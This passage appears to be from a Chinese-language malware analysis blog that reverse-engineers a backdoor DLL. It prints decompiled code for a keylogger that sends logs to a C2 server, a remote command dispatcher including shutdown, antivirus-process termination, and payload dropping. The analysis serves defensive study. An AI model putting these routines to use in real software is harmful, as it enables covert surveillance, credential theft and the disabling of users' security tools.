  result = SocketConnect((LPCSTR)(a1 + 1580), *(_DWORD *)(a1 + 1840));// 参数分别是,提取的URL和端口
  *(_DWORD *)(a1 + 1572) = result;
  if ( result )
  {
    memset(v70, 0, sizeof(v70));
    v66 = *(_DWORD *)(a1 + 1292);
    *(_DWORD *)buf = a2;
    v70[11] = v66;
    v67 = GetTickCount();
    GetSysInfo(buf, a1 + 4, v67 - TickCount);
    XorEncrypt(buf, 488);
    return SocketSend(buf, 488);
  }
  return result;
}

到此为止,sub_100034D0的行为已经很清晰了,下载web数据(从归属对象中取出)到临时文件并提取URL和端口信息到内存,获取系统信息,发起socket连接,XOR加密并send数据。
根据以上分析,可以得出这个sub_100034D0是通用的数据发送接口,包括connect、encrypt、send等,在sub_10006250开头调用的这里send的数据不是我们收集的Windows.key文件,猜测这是信息处理之前把资源清空,或者传输过去的int 8025是一个特殊的敲门单词。当然我这里是分析中瞎猜的

1
2
3
4
sub_100034D0(
    (int)a1,
    8025,
    .....

跟进导出函数UserService,回头可以发现,此处的sub_100034D0的第二个参数,传的其实是后门的行为标识符,帮助C2了解此时程序的行为。


总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int __userpurge KeyWatcher@<eax>(
HANDLE *a1@<ecx>,
int a2,
......
int a63)
{
    int result; // eax
    void *v66; // ebx
    ......
        char v83; // [esp+21Bh] [ebp-1h]
 
    qmemcpy(v75, &a2, sizeof(v75));
    v76 = a1;
    sub_100034D0(
        (int)a1,
        8025,
        v75[0],
        ......
        v75[60]);
    memset(Buffer, 0, sizeof(Buffer));
    v79 = 0;
    v80 = 0;
    GetSystemDirectoryA(Buffer, 0x104u);          // 检索系统目录的路径
    Name[0] = 0;
    strcat(Buffer, asc_1001B83C);                 // "Windows.key"
    strcat(Buffer, aWindows);
    strcat(Buffer, aKey);
    memset(&Name[1], 0, 0xFCu);
    v82 = 0;
    v83 = 0;
    wsprintfA(Name, aZt);                         // "zt"
    result = (int)OpenMutexA(0x100000u, 0, Name);
    v66 = (void *)result;
    if ( !result )
        return result;
    beginthread((_beginthread_proc_type)sub_10005DE0, 0, a1);
    CreateThread(0, 0, KeyWatcherThread, 0, 0, 0);// 开辟键盘迭代记录器线程
    v67 = (void (__stdcall *)(HANDLE, DWORD))WaitForSingleObject;
    if ( WaitForSingleObject(a1[461], 0x32u) != 258 )
        goto LABEL_15;
    while ( 1 )
        {
            v68 = 0;
            NumberOfBytesRead = 0;
            v67(v66, 0xFFFFFFFF);
            FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);// 打开Windows.key
            v70 = FileA;
            if ( FileA != (HANDLE)-1 )
            {
                FileSize = GetFileSize(FileA, 0);
                v72 = FileSize;
                if ( FileSize )
                {
                    v68 = operator new(FileSize);
                    ReadFile(v70, v68, v72, &NumberOfBytesRead, 0);// 读取到新开辟内存
                    for ( i = 0; i < v72; ++i )
                        *((_BYTE *)v68 + i) ^= 0x62u;
                }
                CloseHandle(v70);
                DeleteFileA(Buffer);                      // 更新Windows.key
                v67 = (void (__stdcall *)(HANDLE, DWORD))WaitForSingleObject;
            }
            ReleaseMutex(v66);
            if ( !NumberOfBytesRead || !v68 )
                goto LABEL_12;
            v74 = SocketSendAPI((int)v68, NumberOfBytesRead, 0);// SocketSend的接口,增加了一些状况判定
            v75[391] = (int)v68;
            if ( !v74 )
                break;
            operator delete((void *)v75[391]);          // 发送成功清空发送完毕的内存中Windows.key文件数据
            LABEL_12:
            if ( ((DWORD (__stdcall *)(HANDLE, DWORD))v67)(v76[461], 0x32u) != 258 )
                goto LABEL_15;
        }
    operator delete((void *)v75[391]);
    LABEL_15:
    CloseHandle(v66);
    return 1;
}

最终成功分析完键盘记录器的行为,sub_10006250本质是键盘记录器的调度程序,重命名为KeyWatcher,其中会开辟Keywatcher线程(sub_10006040函数)进行键盘记录,收集来的信息放在C:\Windows\System32\Windows.key中,在sub_10006250中重复地被发送给远端主机。
远端主机的信息的获取链路:

  1. 从this对象中提取出远端URL(已经存储)
  2. 从URL下载web数据到本地临时文件
  3. 从临时文件数据中提取URL和端口到this对象

追踪病毒控制函数

可以发现,病毒以this对象为调度中心,会在其中存放一些关键配置,因此这里需要追踪这个对象。
观察IDA中sub_100034D0的签名,可以发现使用用户自定义函数调用__userpurge,,这里表示a1的值通过ecx寄存器传递,而这个a1存放的就是刚刚一直使用的this上下文对象,那么我们需要追踪ecx寄存器。

1
2
int __userpurge sub_100034D0@<eax>(
        int a1@<ecx>,

查看sub_100034D0交叉引用,慢慢排查
image.png
由于是对象与方法,这里我们任选一个进行溯源,选择第一个跟进到sub_10001B00,a1 ecx也是他的参数,交叉引用只有一条,跟进到sub_100024D0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __cdecl sub_100024D0(void *a1)
{
  HWAVEIN v1[392]; // [esp-620h] [ebp-13B0h] BYREF
  char v2[1568]; // [esp+8h] [ebp-D88h] BYREF
  char v3[1884]; // [esp+628h] [ebp-768h] BYREF
  int v4; // [esp+D8Ch] [ebp-4h]
 
  qmemcpy(v2, a1, sizeof(v2));
  operator delete(a1);
  sub_10001970(v3);
  qmemcpy(v1, v2, sizeof(v1));
  v4 = 0;
  sub_10001B00(
    (int)v3,
    v1[0],
    (int)v1[1],

此时a1作为参数传递进sub_100024D0函数,并赋值给v1数组。这里的HWAVEIN代表着接收设备的波形设备标识符(音频输入设备句柄)。这里合理猜测是监听声音输入信息的驱动。
继续跟进唯一的交叉引用sub_10002020,里面开辟了非常多的线程,有非常多的case分支,很可能是病毒的命令处理函数,是核心逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
int __thiscall sub_10002020(HANDLE *this, _DWORD *a2)
{
  HANDLE *v2; // esi
  int result; // eax
  _DWORD *v4; // ebx
  char buf[4]; // [esp+14h] [ebp-8h] BYREF
  int v7; // [esp+18h] [ebp-4h]
 
  v2 = this;
  *a2 = 0;
  while ( 1 )
  {
    *(_DWORD *)buf = 0;
    v7 = 0;
    result = sub_100037D0(buf, 8);
    if ( !result )
      return result;
    SetEvent(v2[462]);
    v4 = operator new(0x620u);
    qmemcpy(v4, v2 + 1, 0x620u);
    v4[322] = v7;
    v4[11] = *(_DWORD *)buf;
    if ( *(_DWORD *)buf > 0x1F52u )
    {
      if ( *(_DWORD *)buf > 0x7532u )
      {
        if ( *(_DWORD *)buf == 30004 )
        {
          operator delete(v4);
          *a2 = 12289;
          sub_10003340(0);
        }
        else if ( *(_DWORD *)buf == 30005 )
        {
          operator delete(v4);
          *a2 = 12289;
          sub_10003340(1);
        }
        else
        {
LABEL_27:
          operator delete(v4);
        }
      }
      else if ( *(_DWORD *)buf == 30002 )
      {
        operator delete(v4);
        *a2 = 12288;
        beginthread(sub_100032F0, 0, v4);
      }
      else
      {
        switch ( *(_DWORD *)buf )
        {
          case 0x1F54:
LABEL_18:
            beginthread(sub_10002580, 0, v4);
            break;
          case 0x1F56:
            beginthread(sub_10002420, 0, v4);
            break;
          case 0x1F57:
            beginthread(sub_100024D0, 0, v4);
            break;
          case 0x1F58:
            beginthread(sub_10002790, 0, v4);
            break;
          case 0x1F59:
            beginthread(StartAddress, 0, v4);
            break;
          case 0x1F5A:
            beginthread(sub_10002E20, 0, v4);
            break;
          default:
            goto LABEL_27;
        }
      }
    }
    else if ( *(_DWORD *)buf == 8018 )
    {
      beginthread(sub_10002840, 0, v4);
    }
    else
    {
      switch ( *(_DWORD *)buf )
      {
        case 0x1F41:
          beginthread(sub_10002630, 0, v4);
          break;
        case 0x1F42:
        case 0x1F43:
        case 0x1F44:
        case 0x1F4E:
        case 0x1F4F:
          goto LABEL_18;
        case 0x1F47:
          beginthread(sub_100022C0, 0, v4);
          break;
        case 0x1F48:
          beginthread(sub_100026E0, 0, v4);
          break;
        case 0x1F49:
          break;
        case 0x1F4A:
          beginthread(sub_10002C40, 0, v4);
          break;
        case 0x1F4B:
          beginthread(sub_10002A60, 0, v4);
          break;
        case 0x1F50:
          beginthread(sub_10002F80, 0, v4);
          break;
        case 0x1F51:
          beginthread(sub_10003300, 0, v4);
          break;
        default:
          goto LABEL_27;
      }
    }
    result = (int)a2;
    if ( *a2 )
      return result;
    v2 = this;
  }
}

观察到参数里仍然传入了this,调用约定还是thiscall,说明链子上游仍然有对象,继续跟进

1
int __thiscall sub_10002020(HANDLE *this, _DWORD *a2)

跟进到sub_10001F80,仍然是thiscall,但是这里已经显示了this对象和后面一些参数,继续追溯唯一交叉引用

1
void __thiscall __noreturn sub_10001F80(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9)

最终追溯到UserService函数,这个函数是noreturn的,不会返回调用者,不影响调用函数的执行流。
查看交叉引用,可以发现UserService是Config.dat提供的导出函数
image.png

导出表分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.rdata:1001A390                               ; Export directory for PcMain.dll
.rdata:1001A390                               ;
.rdata:1001A390 00 00 00 00                   dword_1001A390 dd 0                     ; DATA XREF: HEADER:100001A0↑o
.rdata:1001A390                                                                       ; Characteristics
.rdata:1001A394 F4 30 EB 57                   dd 57EB30F4h                            ; TimeDateStamp: Wed Sep 28 02:54:44 2016
.rdata:1001A398 00 00                         dw 0                                    ; MajorVersion
.rdata:1001A39A 00 00                         dw 0                                    ; MinorVersion
.rdata:1001A39C CC A3 01 00                   dd rva aPcmainDll                       ; Name
.rdata:1001A3A0 01 00 00 00                   dd 1                                    ; Base
.rdata:1001A3A4 02 00 00 00                   dd 2                                    ; NumberOfFunctions
.rdata:1001A3A8 02 00 00 00                   dd 2                                    ; NumberOfNames
.rdata:1001A3AC B8 A3 01 00                   dd rva off_1001A3B8                     ; AddressOfFunctions
.rdata:1001A3B0 C0 A3 01 00                   dd rva off_1001A3C0                     ; AddressOfNames
.rdata:1001A3B4 C8 A3 01 00                   dd rva word_1001A3C8                    ; AddressOfNameOrdinals
.rdata:1001A3B8                               ;
.rdata:1001A3B8                               ; Export Address Table for PcMain.dll
.rdata:1001A3B8                               ;
.rdata:1001A3B8 60 AC 00 00 00 B6 00 00       off_1001A3B8 dd rva wow_helper, rva UserService
.rdata:1001A3B8                                                                       ; DATA XREF: .rdata:1001A3AC↑o
.rdata:1001A3C0                               ;
.rdata:1001A3C0                               ; Export Names Table for PcMain.dll
.rdata:1001A3C0                               ;
.rdata:1001A3C0 D7 A3 01 00 E3 A3 01 00       off_1001A3C0 dd rva aUserservice, rva aWowHelper
.rdata:1001A3C0                                                                       ; DATA XREF: .rdata:1001A3B0↑o
.rdata:1001A3C0                                                                       ; "UserService" ...
.rdata:1001A3C8                               ;
.rdata:1001A3C8                               ; Export Ordinals Table for PcMain.dll
.rdata:1001A3C8                               ;
.rdata:1001A3C8 01 00 00 00                   word_1001A3C8 dw 1, 0                   ; DATA XREF: .rdata:1001A3B4↑o
.rdata:1001A3CC 50 63 4D 61 69 6E 2E 64 6C 6C+aPcmainDll db 'PcMain.dll',0            ; DATA XREF: .rdata:1001A39C↑o
.rdata:1001A3D7 55 73 65 72 53 65 72 76 69 63+aUserservice db 'UserService',0         ; DATA XREF: .rdata:off_1001A3C0↑o
.rdata:1001A3E3 77 6F 77 5F 68 65 6C 70 65 72+aWowHelper db 'wow_helper',0            ; DATA XREF: .rdata:off_1001A3C0↑o
.rdata:1001A3EE 00 00 00 00 00 00 00 00 00 00+align 1000h
.rdata:1001A3EE 00 00 00 00 00 00 00 00 ?? ??+_rdata ends

可以观察到这个DLL的名称是PCMain.dll,提供了两个导出函数,UserServicewow_helper
我们前文追踪的病毒控制函数就是UserService。
接下来我们分析导出函数UserService

UserService(病毒核心代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __noreturn UserService()
{
  HWINSTA v0; // eax
  int v1[395]; // [esp-624h] [ebp-FD8h] BYREF
  int v2; // [esp+8h] [ebp-9ACh] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-9A8h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+50h] [ebp-964h] BYREF
  CHAR String1[260]; // [esp+60h] [ebp-954h] BYREF
  CHAR pszPath[260]; // [esp+164h] [ebp-850h] BYREF
  char v7[1864]; // [esp+268h] [ebp-74Ch] BYREF
  int v8; // [esp+9B0h] [ebp-4h]
 
  if ( GetTickCount() < 0x186A0 )
    Sleep(0x4E20u);
  CreateDesktopA(szDesktop, 0, 0, 0, (ACCESS_MASK)&_ImageBase, 0);
  memset(&StartupInfo.lpReserved, 0, 0x40u);
  StartupInfo.wShowWindow = 0;
  StartupInfo.cb = 68;
  StartupInfo.lpDesktop = szDesktop;
  SHGetSpecialFolderPathA(0, pszPath, 38, 0);
  lstrcatA(pszPath, aTencentQqgameQ);       //"\Tencent\QQGAME\QQGame.exe"
  SHGetSpecialFolderPathA(0, String1, 38, 0);
  lstrcatA(String1, aTencentQqgame);
  CreateProcessA(0, pszPath, 0, 0, 0, 0, 0, String1, &StartupInfo, &ProcessInformation);
  if ( CreateMutexA(0, 0, a981859203Com) && GetLastError() == 183 ) // 创建"981859203.com"互斥体
    ExitProcess(0);
  GetProcessWindowStation();
  v0 = OpenWindowStationA(szWinSta, 0, 0x2000000u);
  if ( v0 )
    SetProcessWindowStation(v0);
  SetErrorMode(1u);
  sub_10001E80(v7);
  v8 = 0;
  v2 = 0;
  lstrcpyA(&::String1, aV44);
  CoCreateGuid(&pguid);
  v1[392] = (int)&v2;
  dword_10022608 = dword_1001BA98 != 0;
  qmemcpy(v1, aA2s45d78w, 0x620u);
  sub_10001F80((int)v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]);
}

调用CreateDesktopA创建了新的桌面环境,并且设置了_STARTUPINFOA类型启动信息startinfo。
接着调用SHGetSpecialFolderPathA,获取系统特殊路径(这个路径由系统定义,这里检索int 38的目录,对应着C:\Program Files,win10 x86对应着C:\Program Files (X86)),拼接“\Tencent\QQGAME\QQGame.exe”到pszPath和string中,构造路径C:\Program Files (X86)\Tencent\QQGAME\QQGame.exe,然后调用CreateProcessA,用之前的信息生成进程,这里做的操作意味着程序启动了QQGame.exe这个程序。

1
#define CSIDL_PROGRAM_FILES             0x0026        // C:\Program Files

接着创建名为"981859203.com"的互斥体,若已经存在了说明后门已经执行了,不需要继续执行了。
经过一些窗口设置,调用sub_10001E80,传入字符数组v7.v7的空间特别大,这里经过分析也知道这其实就是类对象的赋值

1
2
3
4
5
6
7
8
9
_DWORD *__thiscall sub_10001E80(_DWORD *this)
{
  sub_10003460();
  *this = off_10015484;
  this[461] = 0;
  this[462] = CreateEventA(0, 1, 0, 0);
  this[463] = 0;
  return this;
}

给v1数组赋值"A2s45d78w"并最终调用sub_10001F80(刚刚链路追踪中调用的控制函数),传递的参数就是v7对象,v1的字符串值

1
2
3
4
v1[392] = (int)&v2;
dword_10022608 = dword_1001BA98 != 0;
qmemcpy(v1, aA2s45d78w, 0x620u);    // "A2s45d78w"
sub_10001F80((int)v7, v1[0], v1[1], v1[2], v1[3], v1[4], v1[5], v1[6], v1[7]);
sub_10001F80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __thiscall __noreturn sub_10001F80(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9)
{
    int v10; // ebp
    int v11[392]; // [esp-620h] [ebp-630h] BYREF
 
    if ( a8 )
    {
        v11[390] = (int)operator new(0x620u);
        qmemcpy((void *)v11[390], (const void *)(this + 4), 0x620u);
        beginthread(StartAddress, 0, (void *)v11[390]);
    }
    v10 = a9;
    while ( 1 )
    {
        do
        {
            Sleep(0x3E8u);
            STACK[0x51C] = v10;
            qmemcpy(v11, &a2, sizeof(v11));
        }
        while ( !sub_100034D0(
            this,
            8000,
            v11[0],
            ......
            v11[60]) );
        beginthread(sub_10001F70, 0, (void *)this);
        sub_10002020((HANDLE *)this, (_DWORD *)STACK[0x634]);
        sub_10003830((SOCKET *)this);
    }
}

根据不同的配置和参数传递状况,最终可能开辟线程:StartAddress、sub_10001F70;
一定会调用sub_10002020、sub_10003830。
StartAddress中,启动了键盘控制器,也就是前文分析过的sub_10006250,此处按下不表。
sub_10001F70,算是一个网络行为的控制函数,做调度用途,没有需要注意的点。
sub_10003830,关闭并清空this对象中socket。

核心来了,sub_10002020,病毒核心部分,控制函数。
第一个do while是上线包,会发送8000的标识符给远端URL,当创建了socket连接,才会返回非空值,开辟sub_10002020线程,启动命令控制。

sub_10002020(命令控制)

首先查看命令接收
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __thiscall sub_100037D0(SOCKET *this, char *buf, unsigned int len)
{
  unsigned int v5; // ebx
  int v6; // edi
  int v8; // eax
 
  v5 = 0;
  v6 = len;
  if ( !this[393] )
    return 0;
  if ( len )
  {
    while ( 1 )
    {
      v8 = recv(this[393], buf, v6, 0);
      if ( v8 <= 0 )
        break;
      v5 += v8;
      buf += v8;
      v6 -= v8;
      if ( v5 >= len )
        return 1;
    }
    return 0;
  }
  return 1;
}

可以看出调用recv直接从socket中接收消息,存储到buf中,而buf是10002020中定义的四位字符数组

1
char buf[4];

最高可以存放0xFFFFFFFF的数值。
接下来就是判断状态码对应的操作

关机、退出进程选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ( *(_DWORD *)buf > 0x1F52u )
    {
      if ( *(_DWORD *)buf > 0x7532u )
      {
        if ( *(_DWORD *)buf == 30004 )
        {
          operator delete(v4);
          *a2 = 12289;
          sub_10003340(0);
        }
        else if ( *(_DWORD *)buf == 30005 )
        {
          operator delete(v4);
          *a2 = 12289;
          sub_10003340(1);
        }
        else
        {
LABEL_27:
          operator delete(v4);
        }
      }
      else if ( *(_DWORD *)buf == 30002 )
      {
        operator delete(v4);
        *a2 = 12288;
        beginthread(sub_100032F0, 0, v4);
      }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
BOOL __stdcall sub_10003340(int a1)
{
  HANDLE CurrentThread; // esi
  HANDLE TokenHandle; // [esp+0h] [ebp-11Ch] BYREF
  struct _LUID Luid; // [esp+4h] [ebp-118h] BYREF
  struct _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-110h] BYREF
  _BYTE Name[253]; // [esp+1Ch] [ebp-100h] BYREF
  __int16 v7; // [esp+119h] [ebp-3h]
  char v8; // [esp+11Bh] [ebp-1h]
 
  NewState.PrivilegeCount = 1;  // 开启执行关机操作所需权限
  memset(&Name[1], 0, 0xFCu);
  v7 = 0;
  v8 = 0;
  strcpy(Name, "SeShutdownPrivilege");
  CurrentThread = GetCurrentThread();
  LookupPrivilegeValueA(0, Name, &Luid);    // 查找关机权限值
  NewState.Privileges[0].Luid = Luid;
  NewState.Privileges[0].Attributes = 2;
  ImpersonateSelf(SecurityImpersonation);
  OpenThreadToken(CurrentThread, 0x20u, 1, &TokenHandle);
  AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);    // 调整访问令牌的权限,启用关机权限
  if ( a1 )
    return ExitWindowsEx(8u, 4u);   // 关机
  else
    return ExitWindowsEx(2u, 4u);   // 注销
}
1
2
3
4
void __cdecl __noreturn sub_100032F0()
{
  ExitProcess(0);
}
太多了,不想看(QWQ)

wow_helper(杀软排查、limit目录)

分析完了UserService,来看wow_helper
这个文件可大了,首先调用sub_1000A710检查是否有KSafeTray.exe进程(金山卫士)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
DWORD __cdecl sub_1000A710(char *String2)
{
  HANDLE Toolhelp32Snapshot; // 用于存储快照句柄
  PROCESSENTRY32 *v2; // 用于存储进程信息
 
  // 创建系统中所有进程的快照
  Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  // 为PROCESSENTRY32结构分配内存
  v2 = (PROCESSENTRY32 *)operator new(sizeof(PROCESSENTRY32));
  // 设置结构的大小
  v2->dwSize = sizeof(PROCESSENTRY32);
  // 获取快照中的第一个进程
  if (Process32First(Toolhelp32Snapshot, v2))
  {
    // 检查第一个进程的名称是否与String2匹配
    if ( !strcmpi(v2->szExeFile, String2) )
      return v2->th32ProcessID; // 如果匹配,返回进程ID
    // 遍历快照中的其他进程
    while (Process32Next(Toolhelp32Snapshot, v2))
    {
      // 检查当前进程的名称是否与String2匹配
      if ( !strcmpi(v2->szExeFile, String2) )
        return v2->th32ProcessID; // 如果匹配,返回进程ID
    }
  }
  // 如果没有找到匹配的进程,返回0
  return 0;
}

如果找到了金山卫士的进程,则关闭这个进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
BOOL __cdecl sub_1000A140(const char *a1)
{
  HANDLE Toolhelp32Snapshot; // 用于存储快照句柄
  HANDLE v2; // 用于存储OpenProcess函数的返回值
  PROCESSENTRY32 pe; // 用于存储进程条目信息
 
  // 确保传入的进程名称不为空
  if ( a1 )
  {
    // 创建系统中所有进程的快照
    Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    // 确保快照创建成功
    if ( Toolhelp32Snapshot != (HANDLE)-1 )
    {
      // 初始化PROCESSENTRY32结构的大小
      pe.dwSize = sizeof(PROCESSENTRY32);
      // 获取快照中的第一个进程
      if ( Process32First(Toolhelp32Snapshot, &pe) )
      {
        // 检查第一个进程的名称是否与传入的名称匹配
        if ( !strcmp(pe.szExeFile, a1) )
        {
          // 如果匹配,关闭快照句柄
          CloseHandle(Toolhelp32Snapshot);
          // 打开进程以获取终止权限
          v2 = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
          // 终止进程
          return TerminateProcess(v2, 0);
        }
        // 遍历快照中的其他进程
        while ( Process32Next(Toolhelp32Snapshot, &pe) )
        {
          // 检查当前进程的名称是否与传入的名称匹配
          if ( !strcmp(pe.szExeFile, a1) )
            goto LABEL_7;
        }
      }
      // 如果没有找到匹配的进程,关闭快照句柄
      CloseHandle(Toolhelp32Snapshot);
    }
  }
  // 如果没有找到匹配的进程或传入的进程名称为空,返回0
  return 0;
}

这里由于白加黑,Teniodl_Core.dll 云下载引擎成功启动,启动的时候会向用户申请管理员权限,因此这里有管理员权限,可以随意关闭其他进程。
获取当前模块名,如果是load.exe,则进入接下来的逻辑

1
2
3
4
5
6
7
GetModuleFileNameA(0, Filename, 0xFFu);
CharLowerA(Filename);
if ( StrStrA(Filename, pszSrch) )
{
    SHGetSpecialFolderPathA(0, pszPath, 36, 0);
    lstrcatA(pszPath, aLimitDllhostEx);
    hModule = LoadLibraryA(aKernel32Dll_0);

引入了各种dll,获取特殊路径,这里是36,0x0024,对应的是CSIDL_WINDOWS,路径为C:/Windows。然后追加字符串构建一个路径:C:/Windows/limit/dllhost.exe

1
#define CSIDL_WINDOWS                   0x0024        // GetWindowsDirectory()

image.png
创建C:/Windows/Program Files (X86)/Tencent/QQGame目录,并执行C:/Windows/Program Files (X86)/Tencent/QQGame/QQGame.exe。如果这个文件一开始不存在,则调用sub_1000A790复制指定文件为QQGame.exe。

1
#define CSIDL_PROGRAM_FILES             0x0026        // C:\Program Files
1
2
3
4
5
6
7
8
9
10
SHGetSpecialFolderPathA(0, String1, 38, 0);
  lstrcatA(String1, aTencent);                // "\Tencent"
  CreateDirectoryA(String1, 0);
  lstrcatA(String1, aQqgame);                 // "\QQGame"
  CreateDirectoryA(String1, 0);               // 创建C:/Windows/Program Files (X86)/Tencent/QQGame
  SHGetSpecialFolderPathA(0, FileName, 38, 0);
  lstrcatA(FileName, aTencentQqgameQ);        // 追加"Tencent\QQGAME\QQGame.exe"
  if ( access(FileName, 0) == -1 )            // 如果不可达,创建文件
    sub_1000A790(dword_10022B78, 108, Type, FileName);
  CreateProcessA(0, FileName, 0, 0, 0, 0, 0, String1, (LPSTARTUPINFOA)&v34[52], &ProcessInformation);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HRSRC __cdecl sub_1000A790(HMODULE hModule, unsigned __int16 a2, LPCSTR lpType, LPCSTR lpFileName)
{
  HRSRC result; // eax
  HRSRC v5; // edi
  const void *v6; // ebx
  void *v7; // esi
  DWORD v8; // eax
  DWORD NumberOfBytesWritten; // [esp+10h] [ebp-4h] BYREF
 
  NumberOfBytesWritten = 0;
  result = FindResourceA(hModule, (LPCSTR)a2, lpType);
  v5 = result;
  if ( result )
  {
    result = (HRSRC)LoadResource(hModule, result);
    v6 = result;
    if ( result )
    {
      result = (HRSRC)CreateFileA(lpFileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0);
      v7 = result;
      if ( result )
      {
        v8 = SizeofResource(hModule, v5);
        WriteFile(v7, v6, v8, &NumberOfBytesWritten, 0);
        CloseHandle(v7);
        return (HRSRC)1;
      }
    }
  }
  return result;
}

接下来处理DNF.jpg文件,也就是我们看到的执行Au.exe之后会弹出的DNF价格图片。
代码中会把io.dat的值取出,异或解密后存储于内存,并以图片类型打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( strcmp(aDnf, pszSubKey) )              // 比较DNF字符串和SubKey的值,如果不相等就继续
{
    GetModuleFileNameA(0, v38, 0x104u);
    PathRemoveFileSpecA(v38);                 // 删除尾部文件名和反斜杠
    lstrcatA(v38, aIoDat);                    // 追加"\io.dat"
    hFile = CreateFileA(v38, 0x80000000, 0, 0, 3u, 0, 0);// 打开文件io.dat
    FileSize = GetFileSize(hFile, 0);
    v8 = operator new(FileSize);
    lpBuffer = v8;
    memset(v8, 0, FileSize);
    NumberOfBytesRead = 0;
    ReadFile(hFile, v8, FileSize, &NumberOfBytesRead, 0);// 读取io.dat数据到开辟的堆内存中
    CloseHandle(hFile);
    for ( i = 0; i < FileSize; ++i )
        *((_BYTE *)v8 + i) = (*((_BYTE *)v8 + i) - 106) ^ 0x22;// 异或解密内存文件数据
    SHGetSpecialFolderPathA(0, File, 26, 0);  // #define CSIDL_APPDATA  0x001a  // <user name>\Application Data
    lstrcatA(File, asc_1001B83C);             // "\"
    lstrcatA(File, aDnf);                     // "DNF.jpg"
    hFile = CreateFileA(File, (DWORD)&_ImageBase, 0, 0, 2u, 0, 0);// 创建名为"DNF.jpg"的文件
    hObject = 0;
    WriteFile(hFile, v8, FileSize, (LPDWORD)&hObject, 0);// 往创建的jpg文件中,写入io.dat在内存中解密的数据
    CloseHandle(hFile);
    ShellExecuteA(0, Operation, File, 0, 0, 1);// "open",打开DNF.jpg
    v6 = (void (__stdcall *)(HWND, LPSTR, int, BOOL))SHGetSpecialFolderPathA;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
.data:1001BE84                               ; CHAR aDnf[3]
.data:1001BE84 44 4E 46                      aDnf db 'DNF'                           ; DATA XREF: wow_helper+3A6↑o
.data:1001BE84                                                                       ; wow_helper+4BA↑o
.data:1001BE87 BC                            db 0BCh
.data:1001BE88 DB                            db 0DBh
.data:1001BE89 B8                            db 0B8h
.data:1001BE8A F1                            db 0F1h
.data:1001BE8B B1                            db 0B1h
.data:1001BE8C ED                            db 0EDh
.data:1001BE8D 2E                            db  2Eh ; .
.data:1001BE8E 6A                            db  6Ah ; j
.data:1001BE8F 70                            db  70h ; p
.data:1001BE90 67                            db  67h ; g

image.png
创建C:\Windows\limit文件夹下文件,都是从病毒文件夹中copy过来的
image.png
image.png
其中,load.exe对应Aau.exe,config.dat和TenioDL_core.dll不变
dllhost.exe,是由sub_1000A790函数从dword_10022B78中提取104号资源,并写入dllhost.exe文件。这个104是.rc资源表中的资源序号。
image.png
而dword_10022B78在DLLMain中已经赋值了,就是解密后的Config.dat的dll句柄
image.png
因此这里直接用CFF exploerer打开,找到104号资源,查看data entry(资源目录),查看OffsetToData,这就是资源在二进制文件中的RVA,这里为20A68。
image.png
image.png
在偏移附近找到了存放的PE文件,也就是我们提取出来的dllhost.exe。


寻找360tray.exe(360),如果没找到,则删除load.exe,使用Au.exe

1
2
3
4
5
if ( !sub_1000A710(a360trayExe) || stricmp(v37, v44) )
{
    DeleteFileA(v37);
    CopyFileA(ExistingFileName, v37, 0);
}

整体就是这么个操作。


dllhost.exe

接下来分析这个分离并且执行的dllhost.exe
通过火绒剑,可以发现dllhost.exe启动了一个conhost.exe和QQGame.exe
image.png
IDA开始分析,先看main

获取一堆函数的句柄image.png
接下来获取config.dat,解密之后,调用sub_4016B0,其中有config.dat(PCMain.dll)的导出函数UserService字符串,也就是我们分析过的核心病毒代码的函数名,这里大概率是找到导出表中UserService的RVA,然后计算之后返回他的地址,在外部直接调用。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
